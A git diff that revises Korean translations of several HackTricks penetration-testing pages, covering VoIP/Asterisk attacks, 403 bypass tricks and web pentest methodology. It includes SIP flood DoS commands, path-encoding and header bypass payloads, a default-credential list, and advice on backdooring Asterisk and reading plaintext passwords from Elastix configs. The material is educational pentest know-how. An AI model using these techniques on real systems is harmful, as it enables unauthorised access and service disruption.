서버가 **`System`** 명령에서 **특정 문자의 사용을 금지하고 있는 경우** (Elastix와 같은 경우), 웹 서버가 **시스템 내에서 파일을 생성할 수 있는지 확인**하고 (Elastix 또는 trixbox와 같은 경우), 이를 사용하여 **백도어 스크립트**를 **생성**한 다음 **`System`**을 사용하여 해당 **스크립트**를 **실행**하십시오.
|
||||
{% endhint %}
|
||||
|
||||
#### 흥미로운 로컬 파일 및 권한
|
||||
|
@ -605,32 +605,32 @@ There is command called **`Shell`** that could be used **instead of `System`** t
|
|||
* 이를 사용하여 백도어로 새로운 mysql 사용자를 생성할 수 있습니다.
|
||||
* **`Elastix`**
|
||||
* **`Elastix.conf`** -> mysql root 비밀번호, IMAPd 비밀번호, 웹 관리자 비밀번호와 같은 여러 비밀번호를 평문으로 포함합니다.
|
||||
* **여러 폴더**는 손상된 asterisk 사용자에게 속합니다(루트로 실행되지 않는 경우). 이 사용자는 이전 파일을 읽을 수 있으며 구성도 제어하므로 Asterisk가 실행될 때 다른 백도어가 있는 바이너리를 로드하도록 만들 수 있습니다.
|
||||
* **여러 폴더**는 손상된 asterisk 사용자에게 속합니다 (root로 실행되지 않는 경우). 이 사용자는 이전 파일을 읽을 수 있으며 구성도 제어하므로 Asterisk가 실행될 때 다른 백도어가 있는 바이너리를 로드하도록 만들 수 있습니다.
|
||||
|
||||
### RTP 주입
|
||||
|
||||
**`rtpinsertsound`** (`sudo apt install rtpinsertsound`) 및 **`rtpmixsound`** (`sudo apt install rtpmixsound`)와 같은 도구를 사용하여 대화에 **`.wav`** 파일을 삽입할 수 있습니다.
|
||||
|
||||
또는 [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/)의 스크립트를 사용하여 **대화를 스캔**하고(**`rtpscan.pl`**), 대화에 **`.wav`** 파일을 전송하며(**`rtpsend.pl`**), 대화에 **노이즈를 삽입**할 수 있습니다(**`rtpflood.pl`**).
|
||||
또는 [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/)의 스크립트를 사용하여 **대화를 스캔**하고 (**`rtpscan.pl`**), 대화에 **`.wav`** 파일을 전송하며 (**`rtpsend.pl`**), 대화에 **노이즈를 삽입**할 수 있습니다 (**`rtpflood.pl`**).
|
||||
|
||||
### DoS
|
||||
|
||||
VoIP 서버에서 DoS를 달성하기 위한 여러 방법이 있습니다.
|
||||
|
||||
* **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS 플러드는 대상에게 무제한 메시지를 전송합니다.
|
||||
* **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS 플러드는 대상에게 무제한 메시지를 보냅니다.
|
||||
* `sippts flood -i 10.10.0.10 -m invite -v`
|
||||
* **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS 핑은 서버 응답 시간을 확인하기 위해 SIP 핑을 보냅니다.
|
||||
* **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIP PING을 통해 서버 응답 시간을 확인합니다.
|
||||
* `sippts ping -i 10.10.0.10`
|
||||
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Asterisk에서 사용하는 DoS IAX 프로토콜
|
||||
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): UDP/IP를 통해 SIP/SDP INVITE 메시지 플러딩을 수행하는 도구입니다.
|
||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): 여러 개의 잘 형성된 RTP 패킷을 전송합니다. 사용 중인 RTP 포트를 알아야 합니다(먼저 스니핑).
|
||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): 여러 개의 잘 형성된 RTP 패킷을 전송합니다. 사용 중인 RTP 포트를 알아야 합니다 (먼저 스니핑).
|
||||
* [**SIPp**](https://github.com/SIPp/sipp): SIP 트래픽을 분석하고 생성할 수 있습니다. 따라서 DoS에도 사용할 수 있습니다.
|
||||
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP 스위스 군용 칼. SIP 공격을 수행하는 데에도 사용할 수 있습니다.
|
||||
* 퍼저: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
|
||||
|
||||
### OS 취약점
|
||||
|
||||
Asterisk와 같은 소프트웨어를 설치하는 가장 쉬운 방법은 이미 설치된 **OS 배포판**을 다운로드하는 것입니다. 예: **FreePBX, Elastix, Trixbox**... 문제는 작동하기 시작하면 시스템 관리자가 **다시 업데이트하지 않을 수** 있으며 **취약점**이 시간이 지남에 따라 발견될 것입니다.
|
||||
Asterisk와 같은 소프트웨어를 설치하는 가장 쉬운 방법은 이미 설치된 **OS 배포판**을 다운로드하는 것입니다. 예: **FreePBX, Elastix, Trixbox**... 문제는 작동하기 시작하면 시스템 관리자가 **다시 업데이트하지 않을 수 있으며** 시간이 지남에 따라 **취약점**이 발견될 것입니다.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -642,24 +642,24 @@ Asterisk와 같은 소프트웨어를 설치하는 가장 쉬운 방법은 이
|
|||
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내기 위해 20개 이상의 맞춤형 도구를 사용하고, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,9 +17,9 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드 보기
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -34,7 +34,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
## HTTP 헤더 퍼징
|
||||
|
||||
* **Host 헤더**를 임의의 값으로 변경하세요 ([여기서 작동한 것](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||||
* [**다른 사용자 에이전트 사용**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)하여 리소스에 접근해 보세요.
|
||||
* [**다른 사용자 에이전트 사용해 보기**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)로 리소스에 접근해 보세요.
|
||||
* **HTTP 헤더 퍼징**: HTTP 프록시 **헤더**, HTTP 인증 기본 및 NTLM 브루트포스(몇 가지 조합만 사용) 및 기타 기술을 사용해 보세요. 이를 위해 [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) 도구를 만들었습니다.
|
||||
|
||||
* `X-Originating-IP: 127.0.0.1`
|
||||
|
@ -62,10 +62,10 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
## 경로 **퍼징**
|
||||
|
||||
_if /path_가 차단된 경우:
|
||||
만약 _/path_가 차단되어 있다면:
|
||||
|
||||
* _**/**_**%2e/path_를 사용해 보세요 (접근이 프록시로 차단된 경우, 이 방법으로 보호를 우회할 수 있습니다). 또한 **\_\*\* /%252e\*\*/path** (이중 URL 인코딩)를 시도해 보세요.
|
||||
* **유니코드 우회**를 시도하세요: _/**%ef%bc%8f**path_ (URL 인코딩된 문자는 "/"와 같으므로 다시 인코딩하면 _//path_가 되어 _/path_ 이름 검사를 이미 우회했을 수 있습니다.)
|
||||
* _**/**_**%2e/path 사용해 보세요 _(접근이 프록시로 차단된 경우, 이 방법으로 보호를 우회할 수 있습니다). 또한**\_\*\* /%252e\*\*/path (이중 URL 인코딩)도 시도해 보세요.
|
||||
* **유니코드 우회** 시도: _/**%ef%bc%8f**path_ (URL 인코딩된 문자는 "/"와 같으므로 다시 인코딩하면 _//path_가 되어 _/path_ 이름 검사를 이미 우회했을 수 있습니다.)
|
||||
* **기타 경로 우회**:
|
||||
* site.com/secret –> HTTP 403 Forbidden
|
||||
* site.com/SECRET –> HTTP 200 OK
|
||||
|
@ -108,15 +108,15 @@ HTTP/1.1을 사용하는 경우 **1.0을 사용해 보세요** 또는 **2.0을
|
|||
|
||||
* 도메인의 **IP** 또는 **CNAME**를 가져와서 **직접 연락해 보세요**.
|
||||
* 일반 GET 요청을 보내 서버를 **스트레스 테스트**해 보세요 ([이 사람은 Facebook에서 작동했습니다](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||||
* **프로토콜 변경**: http에서 https로, 또는 https에서 http로 변경
|
||||
* [**https://archive.org/web/**](https://archive.org/web/)에 가서 과거에 해당 파일이 **전 세계적으로 접근 가능했는지** 확인해 보세요.
|
||||
* **프로토콜 변경**: http에서 https로, 또는 https에서 http로 변경해 보세요.
|
||||
* [**https://archive.org/web/**](https://archive.org/web/)로 가서 과거에 해당 파일이 **전 세계적으로 접근 가능했는지** 확인해 보세요.
|
||||
|
||||
## **브루트 포스**
|
||||
|
||||
* **비밀번호 추측**: 다음 일반 자격 증명을 테스트하세요. 피해자에 대해 아는 것이 있나요? 또는 CTF 챌린지 이름은 무엇인가요?
|
||||
* **비밀번호 추측**: 다음 일반 자격 증명을 테스트해 보세요. 피해자에 대해 아는 것이 있나요? 또는 CTF 도전 이름은 무엇인가요?
|
||||
* [**브루트 포스**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** 기본, 다이제스트 및 NTLM 인증을 시도해 보세요.
|
||||
|
||||
{% code title="Common creds" %}
|
||||
{% code title="일반 자격 증명" %}
|
||||
```
|
||||
admin admin
|
||||
admin password
|
||||
|
@ -140,9 +140,9 @@ guest guest
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 여러분의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -119,19 +119,19 @@ Search **for** [**웹 애플리케이션 버전의 취약점**](../../generic-me
|
|||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
|
||||
|
||||
_같은 도메인이 **다른 기술**을 **다른 포트**, **폴더** 및 **서브도메인**에서 사용할 수 있다는 점을 고려하세요._\
|
||||
_같은 **도메인**이 **다른 기술**을 **다른 포트**, **폴더** 및 **서브도메인**에서 사용할 수 있다는 점을 고려하세요._\
|
||||
웹 애플리케이션이 이전에 나열된 잘 알려진 **기술/플랫폼**이나 **다른 것**을 사용하고 있다면, **인터넷에서** 새로운 트릭을 **검색하는 것을 잊지 마세요** (그리고 저에게 알려주세요!).
|
||||
|
||||
### 소스 코드 검토
|
||||
|
||||
애플리케이션의 **소스 코드**가 **github**에 있는 경우, 애플리케이션에 대해 **자신의 화이트 박스 테스트**를 수행하는 것 외에도 현재 **블랙 박스 테스트**에 **유용한 정보**가 있을 수 있습니다:
|
||||
|
||||
* **변경 로그 또는 README 또는 버전** 파일이나 웹을 통해 접근 가능한 **버전 정보**가 있나요?
|
||||
* **자격 증명**은 어떻게 어디에 저장되나요? 자격 증명(사용자 이름 또는 비밀번호)이 포함된 (접근 가능한?) **파일**이 있나요?
|
||||
* **비밀번호**는 **일반 텍스트**, **암호화**되어 있거나 어떤 **해싱 알고리즘**이 사용되나요?
|
||||
* 무언가를 암호화하기 위해 **마스터 키**를 사용하고 있나요? 어떤 **알고리즘**이 사용되나요?
|
||||
* 어떤 취약점을 이용해 **이 파일들에 접근할 수 있나요**?
|
||||
* **github**에 (해결된 것과 해결되지 않은 것) **흥미로운 정보**가 있나요? 또는 **커밋 기록**에 (아마도 **오래된 커밋에 입력된 비밀번호**)?
|
||||
* **변경 로그 또는 README 또는 버전** 파일이나 웹을 통해 접근 가능한 **버전 정보**가 있습니까?
|
||||
* **자격 증명**은 어떻게 그리고 어디에 저장됩니까? 자격 증명(사용자 이름 또는 비밀번호)이 포함된 (접근 가능한?) **파일**이 있습니까?
|
||||
* **비밀번호**는 **일반 텍스트**, **암호화**되어 있습니까, 아니면 어떤 **해싱 알고리즘**이 사용됩니까?
|
||||
* 무언가를 암호화하기 위해 **마스터 키**를 사용하고 있습니까? 어떤 **알고리즘**이 사용됩니까?
|
||||
* 어떤 취약점을 이용해 **이 파일들에 접근할 수 있습니까**?
|
||||
* **github**에 (해결된 것과 해결되지 않은 것) **흥미로운 정보**가 있습니까? 또는 **커밋 기록**에 (아마도 **오래된 커밋에 입력된 비밀번호**)?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
[code-review-tools.md](code-review-tools.md)
|
||||
|
@ -187,21 +187,21 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
|
||||
웹 서버는 이상한 데이터가 전송될 때 **예상치 못한 방식으로 동작할 수 있습니다**. 이는 **취약점**이나 **민감한 정보의 노출**을 열 수 있습니다.
|
||||
|
||||
* /whatever\_fake.php (.aspx, .html 등)와 같은 **가짜 페이지**에 접근
|
||||
* /whatever\_fake.php (.aspx, .html, 등)와 같은 **가짜 페이지**에 접근하기
|
||||
* **쿠키 값** 및 **매개변수** 값에 **"\[]", "]]", 및 "\[\["** 추가하여 오류 생성
|
||||
* **URL**의 **끝**에 **`/~randomthing/%s`**로 입력하여 오류 생성
|
||||
* PATCH, DEBUG 또는 FAKE와 같은 **다양한 HTTP 동사** 시도
|
||||
* PATCH, DEBUG 또는 FAKE와 같은 **다른 HTTP 동사** 시도
|
||||
|
||||
#### **파일 업로드 가능 여부 확인 (**[**PUT 동사, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
**WebDav**가 **활성화**되어 있지만 루트 폴더에 **파일 업로드**에 대한 충분한 권한이 없는 경우 다음을 시도하세요:
|
||||
**WebDav**가 **활성화**되어 있지만 루트 폴더에 **파일 업로드**를 위한 충분한 권한이 없는 경우 다음을 시도하세요:
|
||||
|
||||
* **자격 증명** 무차별 대입
|
||||
* 웹 페이지 내에서 **발견된 폴더**의 **나머지**에 WebDav를 통해 **파일 업로드**. 다른 폴더에 파일을 업로드할 수 있는 권한이 있을 수 있습니다.
|
||||
|
||||
### **SSL/TLS 취약점**
|
||||
|
||||
* 애플리케이션이 **어떤 부분에서도 HTTPS 사용을 강제하지 않는다면**, 이는 **MitM 공격에 취약합니다**
|
||||
* 애플리케이션이 어느 부분에서도 **HTTPS 사용을 강제하지 않는다면**, 이는 **MitM에 취약합니다**
|
||||
* 애플리케이션이 **HTTP를 사용하여 민감한 데이터(비밀번호)를 전송하는 경우**, 이는 높은 취약점입니다.
|
||||
|
||||
[**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용하여 **취약점**을 확인하고 (버그 바운티 프로그램에서는 이러한 종류의 취약점이 수용되지 않을 수 있습니다) [**a2sv**](https://github.com/hahwul/a2sv)를 사용하여 취약점을 재확인하세요:
|
||||
|
@ -213,57 +213,57 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
sslscan <host:port>
|
||||
sslyze --regular <ip:port>
|
||||
```
|
||||
Information about SSL/TLS vulnerabilities:
|
||||
정보 SSL/TLS 취약점에 대한:
|
||||
|
||||
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||
|
||||
### Spidering
|
||||
### 스파이더링
|
||||
|
||||
웹 내에서 어떤 종류의 **스파이더**를 실행합니다. 스파이더의 목표는 **테스트된 애플리케이션에서 가능한 많은 경로를 찾는 것**입니다. 따라서 웹 크롤링과 외부 소스를 사용하여 가능한 많은 유효한 경로를 찾아야 합니다.
|
||||
웹 내에서 어떤 종류의 **스파이더**를 실행합니다. 스파이더의 목표는 테스트된 애플리케이션에서 **가능한 많은 경로를 찾는 것**입니다. 따라서 웹 크롤링과 외부 소스를 사용하여 가능한 많은 유효한 경로를 찾아야 합니다.
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML 스파이더, JS 파일 및 외부 소스(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)에서 링크 찾기.
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML 스파이더, JS 파일에 대한 LinkFider 및 Archive.org를 외부 소스로 사용.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML 스파이더, "juicy files"도 표시.
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML 스파이더, JS 파일 및 Archive.org를 외부 소스로 사용하는 LinkFinder.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML 스파이더, "juicy files"도 표시합니다.
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): 대화형 CLI HTML 스파이더. Archive.org에서도 검색합니다.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 스파이더는 아니지만 유용할 수 있습니다. 호스트가 있는 파일과 경로가 있는 파일을 지정하면 meg가 각 호스트의 각 경로를 가져와 응답을 저장합니다.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 스파이더는 아니지만 유용할 수 있습니다. 호스트가 있는 파일과 경로가 있는 파일을 지정하면 meg가 각 호스트의 각 경로를 가져오고 응답을 저장합니다.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS 렌더링 기능이 있는 HTML 스파이더. 그러나 유지 관리되지 않는 것처럼 보이며, 미리 컴파일된 버전이 오래되었고 현재 코드는 컴파일되지 않습니다.
|
||||
* [**gau**](https://github.com/lc/gau) (go): 외부 제공업체(wayback, otx, commoncrawl)를 사용하는 HTML 스파이더.
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 이 스크립트는 매개변수가 있는 URL을 찾아 나열합니다.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): JS 렌더링 기능이 있는 HTML 스파이더.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML 스파이더, JS 파일에서 새로운 경로를 검색할 수 있는 JS beautify 기능이 있습니다. [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다. 이는 LinkFinder의 래퍼입니다.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML 소스와 내장된 자바스크립트 파일 모두에서 엔드포인트를 추출합니다. 버그 헌터, 레드 팀원, 정보 보안 전문가에게 유용합니다.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript 파일에서 상대 URL을 구문 분석하기 위해 Tornado와 JSBeautifier를 사용하는 Python 2.7 스크립트입니다. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지 관리되지 않는 것처럼 보입니다.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript 파일에서 상대 URL을 구문 분석하기 위해 Tornado와 JSBeautifier를 사용하는 Python 2.7 스크립트. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지 관리되지 않는 것처럼 보입니다.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 파일(HTML)을 주면 멋진 정규 표현식을 사용하여 상대 URL을 찾아 추출합니다.
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 여러 도구): 여러 도구를 사용하여 JS 파일에서 흥미로운 정보를 수집합니다.
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): JS 파일을 찾습니다.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): 헤드리스 브라우저에서 페이지를 로드하고 페이지를 로드하는 데 필요한 모든 URL을 인쇄합니다.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구의 여러 옵션을 혼합한 콘텐츠 발견 도구입니다.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 매개변수를 찾기 위한 Burp 확장입니다.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL을 주면 아름답게 정리된 JS 코드를 가져오는 도구입니다.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 주어진 대상을 위한 엔드포인트를 발견하는 데 사용되는 도구입니다.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구의 여러 옵션을 혼합한 콘텐츠 발견 도구.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 매개변수를 찾기 위한 Burp 확장.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL을 주면 아름답게 정리된 JS 코드를 가져오는 도구.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 주어진 대상의 엔드포인트를 발견하는 데 사용되는 도구입니다.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback 머신에서 링크를 발견합니다(응답을 다운로드하고 더 많은 링크를 찾습니다).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 양식 작성 및 특정 정규 표현식을 사용하여 민감한 정보를 찾습니다.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite는 사이버 보안 전문가를 위해 설계된 고급 다기능 GUI 웹 보안 크롤러/스파이더입니다.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL, 경로, 비밀 및 기타 흥미로운 데이터를 JavaScript 소스 코드에서 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL, 경로, 비밀 및 JavaScript 소스 코드에서 기타 흥미로운 데이터를 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge는 요청에서 매개변수와 엔드포인트를 추출하여 퍼징 및 열거를 위한 사용자 정의 단어 목록을 생성하는 간단한 **Burp Suite 확장**입니다.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): 이 작업에 대한 멋진 도구입니다.
|
||||
* [**Crawley**](https://github.com/s0rg/crawley) (go): 찾을 수 있는 모든 링크를 인쇄합니다.
|
||||
|
||||
### Brute Force directories and files
|
||||
### 디렉토리 및 파일에 대한 무차별 대입
|
||||
|
||||
루트 폴더에서 **브루트 포싱**을 시작하고 **이 방법**을 사용하여 발견된 **모든** **디렉토리**를 브루트 포스해야 하며, **스파이더링**에 의해 **발견된** 모든 디렉토리도 포함해야 합니다(이 브루트 포싱을 **재귀적으로** 수행하고 사용된 단어 목록의 시작 부분에 발견된 디렉토리 이름을 추가할 수 있습니다).\
|
||||
루트 폴더에서 **무차별 대입**을 시작하고 **이 방법**을 사용하여 발견된 **모든** **디렉토리**와 **스파이더링**에 의해 **발견된** 모든 디렉토리를 무차별 대입해야 합니다(이 무차별 대입을 **재귀적으로** 수행하고 사용된 단어 목록의 시작 부분에 발견된 디렉토리 이름을 추가할 수 있습니다).\
|
||||
도구:
|
||||
|
||||
